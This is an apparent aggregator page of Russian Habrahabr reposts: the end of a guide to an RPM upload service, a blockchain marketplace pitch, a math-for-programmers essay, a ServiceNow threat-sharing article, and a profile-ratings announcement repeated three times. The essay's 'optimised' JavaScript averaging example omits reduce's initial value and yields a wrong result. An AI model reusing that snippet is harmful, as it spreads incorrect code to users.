                    Они нужны для передачи данных между асинхронными процессами. Вот смотрите, ведь HTTP-клиент не обязан ждать какого-то разрешения, чтобы загрузить пакет? Правильно, он может начать загрузку в любой момент. Соответственно, в основном потоке приложения мы должны сообщить клиенту об успешности/неуспешности загрузки, и, если загрузка удалась, передать данные через очередь другому потоку, который выполняет вычитывание метаданных пакета, а затем перемещение его в файловой системе. При этом отдельный поток следит, прошло ли 30 секунд с момента загрузки последнего пакета, или нет. Если прошло — метаданные репозитория будут обновлены. Если же время ещё не вышло, а уже пришёл следющий запрос — сбрасываем и перезапускаем таймер. Таким образом, всякая загрузка пакета будет отодвигать обновление метаданных на 30 секунд.


                    Как пользоваться


                    Сначала нужно


                    установить пакеты Python по списку:

                    appdirs==1.4.3
                    click==6.7
                    Flask==0.12.1
                    itsdangerous==0.24
                    Jinja2==2.9.6
                    MarkupSafe==1.0
                    packaging==16.8
                    pyparsing==2.2.0
                    pyrpm==0.3
                    PyYAML==3.12
                    six==1.10.0
                    uWSGI==2.0.15
                    Werkzeug==0.12.1


                    К сожалению, я не могу гарантировать, что это минимально возможный список — команда pip freeze просто берёт список доступных пакетов Python и механически переносит его в файл, не рассматривая, используется ли конкретный пакет в конкретном проекте или нет.


                    Затем нужно установить пакеты с nginx и c createrepo:


                    yum install -y nginx createrepo

                    Запуск проекта выглядит вот так:


                    nohup python app.py

                    После того, как всё будет запущено, можно пробовать загрузить rpm-пакет в репозиторий вот такой командой:


                    curl http://hostname.example.com/upload -T 

                    Я понимаю, что описанный сервис далёк от совершенства и являет собой скорее прототип, нежели полноценное приложение, но, с другой стороны, он может быть легко дополнен/расширен.


                    Для удобства желающих код выложен на GitHub. Предложения по дополнению сервиса, а ещё лучше — pull-request'ы горячо приветствуются!


                    Надеюсь, этот прототип окажется кому-то полезным. Спасибо за внимание!


                    P.S.

                    Ну и для тех, кому очень нужно, небольшой сниппет для укрощения SELinux:


                    #!/bin/bash
                    semanage fcontext -a -t httpd_sys_rw_content_t "/srv/repo/storage(/.*)?"
                    restorecon -R -v /srv/repo/storage
                    setsebool -P httpd_can_network_connect 1
                    Original source: habrahabr.ru (comments, light).

                    https://habrahabr.ru/post/337736/


                    Метки:  

                    Куда податься вендору, когда Amazon не по зубам: придумываем торговую площадку для нишевых гаджетов

                    Четверг, 14 Сентября 2017 г. 23:16 + в цитатник
                    HamsterMrkt сегодня в 23:16 Управление

                    Куда податься вендору, когда Amazon не по зубам: придумываем торговую площадку для нишевых гаджетов

                      Крупные торговые интернет-площадки вполне заслуженно заняли свое место под солнцем, но работа с ними имеет несколько нюансов. Например, Amazon, исходя из своей маркетинговой стратегии, ориентирован, в первую очередь, на привлечение крупных продавцов и производителей. А нам, хомякам, что делать?


                      Подпись же картинке не нужна, правда?

                      Представим ситуацию: вы изобрели очередной электровеник, с которым ваша команда вышла на «Кикстартер» и успешно собрала нужную сумму для производства тысячи изделий. Часть вы распродали сразу же в рамках краудфандинговой кампании, а часть – «зависла» на руках. В этот момент вы столкнулись с главной проблемой большинства энтузиастов и небольших производителей: вы слишком озабочены идеей закончить разработку, переходом от прототипирования к изготовлению рабочих устройств, и не особо задумываетесь, как вы это будете продавать.

                      Фактически, чуть ли не каждый второй стартап или небольшое предприятие попадает в порочный круг «прежде чем что-то продавать, нужно это изготовить». Это является классической болезнью любого малого бизнеса, что в конечном итоге приводит к банкротству и прекращению деятельности. Конечно, от подобных телодвижений может уберечь толковый директор по продажам, который подготовит все необходимые «аэродромы», на которые в итоге и «десантируется» ваш продукт, но чаще выходит совершенно иначе. Вложив немало времени, сил и иногда денег, выполнив обязательства перед инвесторами, вы остаетесь с партией никому не нужных устройств, в которых и лежит мертвым грузом прибыль всего предприятия. В подобной ситуации небольшая часть производителей запускает собственные ритейл-площадки на базе своего сайта, а все остальные — идут к Amazon или другим крупным игрокам.

                      И тут начинается самое неприятное.

                      Трудно быть маленьким


                      Любой крупный ритейлер зарабатывает за счет больших объемов продаж, а не на конкретных позициях, о чем, например, свидетельствуют отчеты самого Amazon, чья прибыль растет пропорционально росту объема продаж. На увеличение оборота ориентированы и все прочие торговые площадки, в том числе и в Сети, что приводит к максимальной унификации и наложению ряда ограничений на производителей и поставщиков.

                      Давайте поговорим об Amazon, как о более очевидном пути продажи наших электровеников. Система продаж на этой площадке базируется на нескольких ключевых аспектах. Первое – детальное описание продукции по достаточно жесткой и регламентированной форме. Второе – на позиции продукта влияет количество положительных отзывов о нем. Третье – рядовые пользователи и подписчики Prime получают разную выборку товаров (благодаря этой и другим маркетинговым уловкам, товарооборот на Amazon в денежном выражении в 2015 составил $107 млрд, а в 2016 году — $135,98 млрд).

                      И если с первым требованием гиганта по ведению торговли можно справиться, банально подсмотрев у других продавцов, то второй и третий пункт создают ощутимые проблемы. Если вы занимаетесь малотиражным производством и ваш оборот составляет несколько тысяч устройств в год (в лучшем случае), то есть товар является нишевым — у вас серьёзные проблемы. На Amazon, как, впрочем, и на любых других подобных площадках, существует система рейтингов, основанная на количестве и качестве положительных отзывов от реальных пользователей. Минимально необходимое количество положительных рецензий о товаре в случае американской площадки – 25 штук. Без этого числа отзывов ваш товар не будет отображаться в поисковой выдаче, а продвигать его нужно будет средствами площадки в виде баннерной рекламы или привлекать трафик извне. Подход с размещением рекламы на Amazon или в Сети оправдан, если речь идет о каком-то серийном продукте, продавать который планируется длительное время и в больших объемах. Тогда можно устроить и рекламную кампанию, привлечь СМИ, разместить рекламу в Google.

                      В случае с мелкой партией какого-либо уникального товара подобная рекламная кампания окончательно сожрет прибыль от продаж или загонит начинающего производителя в долговую яму.

                      Конечно, всегда остается вариант «сбросить» товар по цене, близкой к себестоимости, какому-нибудь крупному ритейлеру, у которого есть собственная сеть сбыта. Однако это возвращает нас к вопросу извлечения прибыли и дальнейшему росту, так как в этом случае производителю нужно будет выходить на какие-то более осмысленные объемы, чем несколько сотен устройств в месяц.

                      Проблема не в производителях, а в продавцах


                      Согласитесь, известный бренд не всегда означает высокое качество конечного товара, а предложения на рынке не всегда удовлетворяют потребности отдельной категории потребителей. Если 9 из 10 потребителей будут удовлетворены функциями некого условного продукта, то крупный производитель не будет заморачиваться штучным производством для последнего, десятого. Для производителя это невыгодно.

                      Эту нишу могли бы занять мелкие предприятия, которым бы вполне хватило и десятой доли «пирога» потребителей. Но все упирается в рынки сбыта: для того, чтобы обеспечить выживание мелких производств, чьи товары не на слуху у широкой аудитории, они должны свободно продаваться или продвигаться ритейлером. Но, при прочих равных, крупным ритейлерам интереснее продать сотню тысяч смартфонов известных брендов, чем сотню условных электровеников.

                      Мы столкнулись с описанной выше ситуацией, когда занялись поставками, а в дальнейшем и производством, детских планшетов PlayPad. Недоступность классических площадок и рынков сбыта для мелких производителей создает парадоксальную ситуацию: существует спрос на какой-то специализированный товар, существует и сам товар. Но производитель и покупатель просто не могут встретиться, потому что последний не знает о самом факте существования первого.

                      Конечно, основные палки в колеса реализации малотиражной продукции вставляют сами площадки и существующая доктрина сетевой интернет-торговли. Правила размещения и торговли на них писались под крупных производителей и поставщиков, однако распространяются и на мелких игроков рынка. В итоге весь механизм работы современного интернет-ритейла вызывает удушающий эффект для тех, кто не готов вкладывать сотни тысяч и миллионы долларов в маркетинг и продвижение.

                      Зачем мы придумали Hamster Marketplace




                      У нас уже есть опыт, альтернативный крупным интернет-площадкам уровня Amazon. Речь идет о собственном сайте и выстраивании персонального канала продаж. Однако, с ростом производства и доли рынка мы пришли к классической схеме сотрудничества с крупным оффлайновым ритейлером в лице М-ВИДЕО.

                      Этот опыт нельзя назвать однозначно травматичным, но стоит понимать, что в этом «танце» роль ведущего отводится исключительно торговой сети. Мы могли лишь соглашаться или не соглашаться на предлагаемые нам условия работы.

                      Именно поэтому и родилась идея создания торговой площадки, которая была бы реальным посредником между производителем и покупателем, а не псевдо-площадкой, коей сейчас является Aliexpress, Amazon, E-Bay все прочие. Почему мы заговорили о псевдо-площадке? Скажем так, глупо отрицать, что все вышеописанные ресурсы и компании, стоящие за ними, в первую очередь преследуют собственные интересы по росту и извлечению прибыли. Иногда эти интересы совпадают с интересами продавцов и производителей, а иногда – нет. Именно эту диктатуру площадки для мы и намереваемся устранить.

                      Что такое Hamster Marketplace? За основу мы взяли популярную нынче идею децентрализации и самоуправления сообществом через механизмы блокчейна. В большинстве аспектов площадка копирует устоявшиеся бизнес-процессы того же Amazon, за одним большим исключением: управлять ею будут не условный совет директоров Amazon или Джефф Безос, а сами продавцы и производители товаров. Таким образом мы хотим достичь самоуправления, когда решения, принимаемые площадкой, будут отражать потребности реального большинства продавцов, а не нескольких производителей-гигантов.

                      Вот основополагающие принципы работы Hamster Marketplace:

                      • Hamster Marketplace не ставит своей целью получение прибыли;
                      • Hamster Marketplace управляется непосредственно участниками со статусом «Производитель» с помощью токенов маркетплейса HMST;
                      • Развитие и функционирование площадки осуществляется исходя из бюджета, принимаемого блокчейн-голосованием владельцами токенов HMST со статусом «Производитель»;
                      • Бюджетные траты площадки прозрачны и зафиксированы в блокчейне.

                      Если мир созрел для коллективного финансирования мелких проектов, то, вероятно, пришло время и коллективно управляемой торговой площадки.

                      Инди-электронщики и DIY-щики всех стран, соединяйтесь!


                      Взглянув на наш сайт свежим взглядом, мы вдруг поняли, что он как-то совсем про деньги. Сборы — это, конечно, важно, но ещё нам очень нужна обратная связь сообщества. Нужна ли вам такая площадка? Как она должна быть устроена, на каких условиях. работать — делитесь мнениями, сомнениями и предложениями.
                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/337962/


                      Метки:  

                      Математика для программиста

                      Четверг, 14 Сентября 2017 г. 19:00 + в цитатник
                      htmlacademy сегодня в 19:00 Разработка

                      Математика для программиста


                        Нужна ли математика программисту?

                        Нужна. А, кроме неё, нужна сферическая геометрия, география, музыка и банковское дело. И я сейчас не шучу.


                        Дело в том, что программисты редко решают задачи для самих себя: мы работаем в банковских сервисах, сервисах бронирования отелей, картографических сервисах и прочих Яндекс.Почтах. Получается, что мы решаем задачи наших пользователей.


                        Для решения чисто программистских задач у нас есть алгоритмы и паттерны: если посмотреть на код интернет-магазина цветов и банковского сайта он будет очень похож. Будут использоваться одинаковые условия, одинаковые циклы и даже паттерн MVC будет один и тот же.


                        Важнее то, что стоит за этими вещами: понимание как работает система в целом. Если посмотреть на вещи с этой стороны, то станет понятно, что программист — это младший специалист в области, в которой работает сайт.


                        Ещё пять лет назад Артём Поликарпов доказал, что каждый фронтендер немного дизайнер. Нам нужно понимать как устроены шрифты: что такое гротеск, чем он отличается от антиквы, что такое интерлиньяж, кернинг, разрядка, капитель. Понимать, что такое сетки и что такое композиция. Кроме этого, разбираться в UX — мы должны знать что такое оптимистичный UI, где поставить прелоадер и зачем это всё нужно пользователю.


                        Но быть только дизайнером — мало. Дело в том, что пользователи взаимодействуют с нашими сайтами: в интернет-магазинах они вводят данные своих банковских карт, на картографических сервисах прокладывают маршруты и измеряют расстояния, на музыкальных сайтах они транспонируют тональность песен и настраивают гитару по тюнеру. И всё это должен кто-то запрограммировать. Получается, что у программиста должны быть специальные знания.


                        Например, правильность номера банковской карты определяется по алгоритму Луна — это теория кодирования.


                        Чтобы найти расстояние между двумя точками на карте, заданными широтой и долготой, нужно воспользоваться формулой дуги большого круга — это сферическая геометрия. Ещё этой формулой очень часто пользуются в морской навигации.


                        С картами, вообще, связано очень много интересного. Например, Яндекс.Карты используют эллиптическую проекцию Меркатора, а все остальные географические сервисы — сферическую, поэтому если вы захотите наложить слой Яндекс.Пробок на любую другую карту у вас не сойдутся улицы и вам нужно будет знать, как трансформировать одну проекцию в другую.


                        Кстати, о трансформациях. Помните CSS-фильтр matrix? Те самые числа в странном порядке, которые непонятно как влияют на поведение вашего блока? Это матрицы перехода из линейной алгебры. Если разобраться что такое матрицы и как перемножать их между собой, то вы сможете очень эффективно писать трансформации не пользуясь алиасами.


                        .neo {
                          transform: matrix(0, -1, 1, 0, 50px, 50px);
                        }

                        С кругозором понятно — изучайте всё, что хотите, потому что в любом случае это вам пригодится. Но есть ли какая-то общая область, которая нужна всем программистам? Да, такая область есть, она называется «дискретная математика». Наука, которая лежит в основе информатики.


                        Я не говорю, что нужно учить диксретку досконально. Для программиста важнее широта взглядов и понимание, где посмотреть, чем узкие знания в какой-то отдельной области. Но помнить несколько основных тем не помешает.


                        Во-первых, изучите булеву логику. Вы пишете условия каждый день и хорошо бы понимать, как они работают, например, для того, чтобы эффективно их упрощать.


                        Ещё одна хорошая тема из дискретки — это графы. Очень многие программистские задачи решаются с помощью графов. Даже скучный и привычный DOM — это дерево, частный случай графа. И здесь неплохо бы понимать хотя бы как по деревьям можно ходить.


                        Например, вы знаете, что querySelector использует поиск в глубину? Это значит, что когда он заходит на узел DOM-дерева, он пытается посмотреть сначала его дочерние узлы и только потом соседние. Это значит если вы будете искать с помощью querySelector первый элемент на странице, то необязательно это будет элемент верхнего уровня, найденный элемент может находиться на любой вложенности.



                        const firstDiv = document.querySelector('div');
                        firstDiv.id === 'underdog';

                        Ещё одна тема из дискретной математики — алгоритмы. Теория алгоритмов изучает что такое алгоритмы и оценку их эффективности. Представьте, у вас есть список людей, у которых вам нужно посчитать средний рост. Список задан в виде массива объектов.


                        const people = [
                          { name: 'Иван', height: 183 },
                          { name: 'Марья', height: 155 },
                        ];

                        Первое решение, которое может прийти в голову — это с помощью метода map собрать другой массив, массив ростов этих людей, а потом с помощью метода reduce посчитать их сумму и поделить на количество.


                        const averageHeight = people
                          .map(it => it.height)
                          .reduce((acc, it) => acc + it) / people.length;

                        Но это решение будет неэффективным, потому что вы будете использовать два прохода по массиву, вместо одного. Вы могли бы сразу использовать reduce для того, чтобы сложить сразу все показатели по росту.


                        const averageHeight = people
                          .reduce((acc, it) => acc + it.height) / people.length;

                        На деле оценка эффективности алгоритмов это немного более сложная тема, она учитывает и какой алгоритм вы используете и объём входных данных, но направление мысли вы поняли. Умение оценить эффективность алгоритмов поможет вам писать код, который будет хорошо работать или на старых телефонах и компьютерах или который не будет тормозить при работе со сложными алгоритмами, например, с большими визуализациями.


                        Итого: учите всё подряд, что попадётся вам под руку. Для начала изучите дискретку, потому что она будет вашим основным инструментом в работе, а потом сосредоточьтесь на задачах вашего бизнеса и вы откроете для себя очень много нового в бизнесе, математике, строительстве и медицине.


                        Видеоверсия





                        Вопросы можно задавать здесь.

                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/337952/


                        Метки:  

                        Обмен информацией о кибер-угрозах в реальном времени: новая платформа от ServiceNow

                        Четверг, 14 Сентября 2017 г. 18:58 + в цитатник
                        it-guild сегодня в 18:58 Разработка

                        Обмен информацией о кибер-угрозах в реальном времени: новая платформа от ServiceNow

                          В этом году компания ServiceNow представила облачную платформу Trusted Security Circles. Она помогает бороться с кибер-угрозами за счет обмена информацией между компаниями и специалистами в области безопасности.

                          / Flickr / Wikimedia Commons / CC

                          Как работает Trusted Security Circles


                          Вместе с новым релизом Jakarta платформа ServiceNow предложила предприятиям возможность делиться и получать релевантную информацию об угрозах в режиме реального времени. Обычно в борьбе с кибер-атаками сотрудники безопасности отдельных компаний оставались один на один с угрозой, однако теперь они могут запрашивать данные у поставщиков и партнеров. С помощью Trusted Security Circles организации контролируют, как и с кем они делятся своими данными.

                          Информация о кибер-угрозах зачастую не распространяется дальше пострадавшей компании из-за возможных репутационных потерь. Не все предприятия готовы признавать уязвимости систем безопасности, поэтому Trusted Security Circles позволяет делиться сведениями анонимно. Как поясняет пользователь ServiceNow Сьюзан Смит (Suzanne Smith), в режиме конфиденциальности компании могут выбрать возможность получать информацию об угрозах от своих коллег в конкретной индустрии или на основе местоположения. Так формируются своеобразные «круги информированности».

                          Когда команда безопасности видит подозрительную активность в своей сети, она может сформировать запрос в пределах определенного сообщества. Если количество таких запросов превысит установленный порог, инцидент автоматически перенаправляется в ServiceNow Security Operations, — внутренний сервис реагирования на угрозы, — что может ускорить ответ.

                          Таким образом, новая технология позволяет организациям-пользователям ServiceNow оставаться в курсе предстоящих атак и вооружаться необходимой информацией, поступающей от коллег.

                          Вице-президент ServiceNow Шон Конвери (Sean Convery) в августе рассказал о том, что основным инструментом кибер-безопасности компании является единая платформа, которая подразумевает интеграцию со сторонними поставщиками сервисов безопасности. По слова Шона, у ServiceNow на данный момент есть 40 поставщиков, которые помимо всего прочего генерируют полезную информацию для пользователей. Она лежит в основе Trusted Security Circlюes.

                          / Flickr / frankieleon / CC

                          Решения по обмену информацией — устоявшийся тренд


                          Помимо ServiceNow те или иные решения в той же области предлагали ранее как частные компании, так и правительственные департаменты. Например, в 2015 году компания IBM объявила о запуске своей платформы IBM X-Force Exchange на базе IBM Cloud. Это решение обеспечивает доступ к массивам данных IBM и информации о сторонних угрозах. Система работает на основе определенных индикаторов кибер-атак в реальном времени.

                          По схожему принципу работает Центр обмена и анализа информации в финансовом секторе от NC4. Аналогичную инициативу собирается реализовать Национальный банк Республики Беларусь для борьбы с компьютерными атаками на основе обмена информацией об угрозах. В Канаде также действует своя некоммерческая организация по добровольному обмену информации. Власти США, Великобритании и Гонконга на законодательном уровне поощряют и призывают к автоматизации предоставления сведений об угрозах.

                          Как отмечал руководитель отдела IT-безопасности Cubic Corp. Адам Райс (Adam Rice), основным препятствием для обмена информацией является доверие между конкурентами и партнерами на рынке. По его мнению, процесс должен гарантировать достоверность предоставляемых сведений об угрозах, инциденты должны быть доступными для проверки, и принадлежность каждого члена сообщества по обмену информацией также должна быть установлена.

                          В таком случае может идти речь о доверии и, следовательно, о взаимовыгодной среде. По большому счету платформа ServiceNow выступает тем самым верификатором, который делает обмен сведениями эффективным.

                          P.S. Дополнительное чтение по теме в нашем корпоративном блоге:

                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/337826/


                          Метки:  

                          Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                          Четверг, 14 Сентября 2017 г. 16:27 + в цитатник
                          moikrug сегодня в 16:27 Управление

                          Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                            В июле мы на «Моём круге» ввели рейтинги участников «Хабра» и «Тостера», GitHub и StackOverflow. А сегодня рады сообщить о добавлении рейтингов участия ещё в двух сообществах: Dribbble и Behance.

                            На профиле пользователя это выглядит следующим образом:

                            image

                            На списках специалистов — на поиске кандидатов или в откликах на вакансию — пользователь с рейтингом участника Dribbble или Behance отмечается соответствующей иконкой.

                            Теперь раскрывать свой профиль во всей красе для потенциального работодателя смогут не только разработчики, но также и дизайнеры. Это важно, ведь дизайнеры составляют десятую часть нашего ИТ-сообщества, объединённого «Хабром». Кроме того, недавно проведённый нами опрос показал, что Dribbble и Behance важны для карьеры дизайнеров. Участие в этих сообществах нередко оказывает решающую роль в принятии решения о приглашении дизайнера на работу.

                            Чтобы вывести свои рейтинги этих сообществ, нужно привязать их учетные записи к своему профилю на «Моём круге». Делается это в кабинете своего профиля, в «Ключнице».

                            Далее расскажем, какие данные мы выводим из Dribbble и Behance и что они означают.

                            • Итак, блок участника Dribbble или Behance появляется на профиле пользователя «Моего круга», если у него есть хотя бы один шот или проект соответственно.
                            • Из блока участника можно перейти в профиль пользователя в данном сообществе и посмотреть подробней, какие именно работы и по каким направлениям он выкладывает.
                            • В блоке мы показываем, сколько всего работ выложено у дизайнера в сообществе и сколько суммарно они набрали лайков. Далее показываем 10 тем, по которым у него набрано больше всего лайков: впереди идут темы с наибольшим числом лайков. В блоке Dribbble каждую тему можно тыкнуть и перейти на страницу всех работ дизайнера по данной теме. В блоке Behance такого, к сожалению нет, их сервис не умеет так делать.
                            • Наконец, мы показываем до 5 работ пользователя, набравших в соответствующем сообществе больше всего лайков. Каждую работу можно тыкнуть и просмотреть в увеличенном размере.



                            Напоминалочка


                            Посмотреть всех пользователей, по которым в базе «Моего круга» есть информация об их участии в ИТ-сообществах, можно на поиске по специалистам, выбрав среди фильтров соответствующий пункт «Участник ИТ-сообществ».

                            Блоки участника ИТ-сообществ подключаются и отключаются в кабинете своего профиля на «Моём круге», в разделе «Ключница».
                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/337950/


                            Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                            Четверг, 14 Сентября 2017 г. 16:27 + в цитатник
                            moikrug сегодня в 16:27 Управление

                            Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                              В июле мы на «Моём круге» ввели рейтинги участников «Хабра» и «Тостера», GitHub и StackOverflow. А сегодня рады сообщить о добавлении рейтингов участия ещё в двух сообществах: Dribbble и Behance.

                              На профиле пользователя это выглядит следующим образом:

                              image

                              На списках специалистов — на поиске кандидатов или в откликах на вакансию — пользователь с рейтингом участника Dribbble или Behance отмечается соответствующей иконкой.

                              Теперь раскрывать свой профиль во всей красе для потенциального работодателя смогут не только разработчики, но также и дизайнеры. Это важно, ведь дизайнеры составляют десятую часть нашего ИТ-сообщества, объединённого «Хабром». Кроме того, недавно проведённый нами опрос показал, что Dribbble и Behance важны для карьеры дизайнеров. Участие в этих сообществах нередко оказывает решающую роль в принятии решения о приглашении дизайнера на работу.

                              Чтобы вывести свои рейтинги этих сообществ, нужно привязать их учетные записи к своему профилю на «Моём круге». Делается это в кабинете своего профиля, в «Ключнице».

                              Далее расскажем, какие данные мы выводим из Dribbble и Behance и что они означают.

                              • Итак, блок участника Dribbble или Behance появляется на профиле пользователя «Моего круга», если у него есть хотя бы один шот или проект соответственно.
                              • Из блока участника можно перейти в профиль пользователя в данном сообществе и посмотреть подробней, какие именно работы и по каким направлениям он выкладывает.
                              • В блоке мы показываем, сколько всего работ выложено у дизайнера в сообществе и сколько суммарно они набрали лайков. Далее показываем 10 тем, по которым у него набрано больше всего лайков: впереди идут темы с наибольшим числом лайков. В блоке Dribbble каждую тему можно тыкнуть и перейти на страницу всех работ дизайнера по данной теме. В блоке Behance такого, к сожалению нет, их сервис не умеет так делать.
                              • Наконец, мы показываем до 5 работ пользователя, набравших в соответствующем сообществе больше всего лайков. Каждую работу можно тыкнуть и просмотреть в увеличенном размере.



                              Напоминалочка


                              Посмотреть всех пользователей, по которым в базе «Моего круга» есть информация об их участии в ИТ-сообществах, можно на поиске по специалистам, выбрав среди фильтров соответствующий пункт «Участник ИТ-сообществ».

                              Блоки участника ИТ-сообществ подключаются и отключаются в кабинете своего профиля на «Моём круге», в разделе «Ключница».
                              Original source: habrahabr.ru (comments, light).

                              https://habrahabr.ru/post/337950/


                              Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                              Четверг, 14 Сентября 2017 г. 16:27 + в цитатник
                              moikrug сегодня в 16:27 Управление

                              Вводим рейтинг участника Dribbble и Behance на «Моём круге»

                                В июле мы на «Моём круге» ввели рейтинги участников «Хабра» и «Тостера», GitHub и StackOverflow. А сегодня рады сообщить о добавлении рейтингов участия ещё в двух сообществах: Dribbble и Behance.

                                На профиле пользователя это выглядит следующим образом:

                                image

                                На списках специалистов — на поиске кандидатов или в откликах на вакансию — пользователь с рейтингом участника Dribbble или Behance отмечается соответствующей иконкой.

                                Теперь раскрывать свой профиль во всей красе для потенциального работодателя смогут не только разработчики, но также и дизайнеры. Это важно, ведь дизайнеры составляют десятую часть нашего ИТ-сообщества, объединённого «Хабром». Кроме того, недавно проведённый нами опрос показал, что Dribbble и Behance важны для карьеры дизайнеров. Участие в этих сообществах нередко оказывает решающую роль в принятии решения о приглашении дизайнера на работу.

                                Чтобы вывести свои рейтинги этих сообществ, нужно привязать их учетные записи к своему профилю на «Моём круге». Делается это в кабинете своего профиля, в «Ключнице».

                                Далее расскажем, какие данные мы выводим из Dribbble и Behance и что они означают.

                                • Итак, блок участника Dribbble или Behance появляется на профиле пользователя «Моего круга», если у него есть хотя бы один шот или проект соответственно.
                                • Из блока участника можно перейти в профиль пользователя в данном сообществе и посмотреть подробней, какие именно работы и по каким направлениям он выкладывает.
                                • В блоке мы показываем, сколько всего работ выложено у дизайнера в сообществе и сколько суммарно они набрали лайков. Далее показываем 10 тем, по которым у него набрано больше всего лайков: впереди идут темы с наибольшим числом лайков. В блоке Dribbble каждую тему можно тыкнуть и перейти на страницу всех работ дизайнера по данной теме. В блоке Behance такого, к сожалению нет, их сервис не умеет так делать.
                                • Наконец, мы показываем до 5 работ пользователя, набравших в соответствующем сообществе больше всего лайков. Каждую работу можно тыкнуть и просмотреть в увеличенном размере.



                                Напоминалочка


                                Посмотреть всех пользователей, по которым в базе «Моего круга» есть информация об их участии в ИТ-сообществах, можно на поиске по специалистам, выбрав среди фильтров соответствующий пункт «Участник ИТ-сообществ».

                                Блоки участника ИТ-сообществ подключаются и отключаются в кабинете своего профиля на «Моём круге», в разделе «Ключница».
                                Original source: habrahabr.ru (comments, light).

                                https://habrahabr.ru/post/337950/



                                Поиск сообщений в rss_rss_hh_full
                                Страницы: 1824 ... 1532 1531 [1530] 1529 1528 ..
                                .. 1 Календарь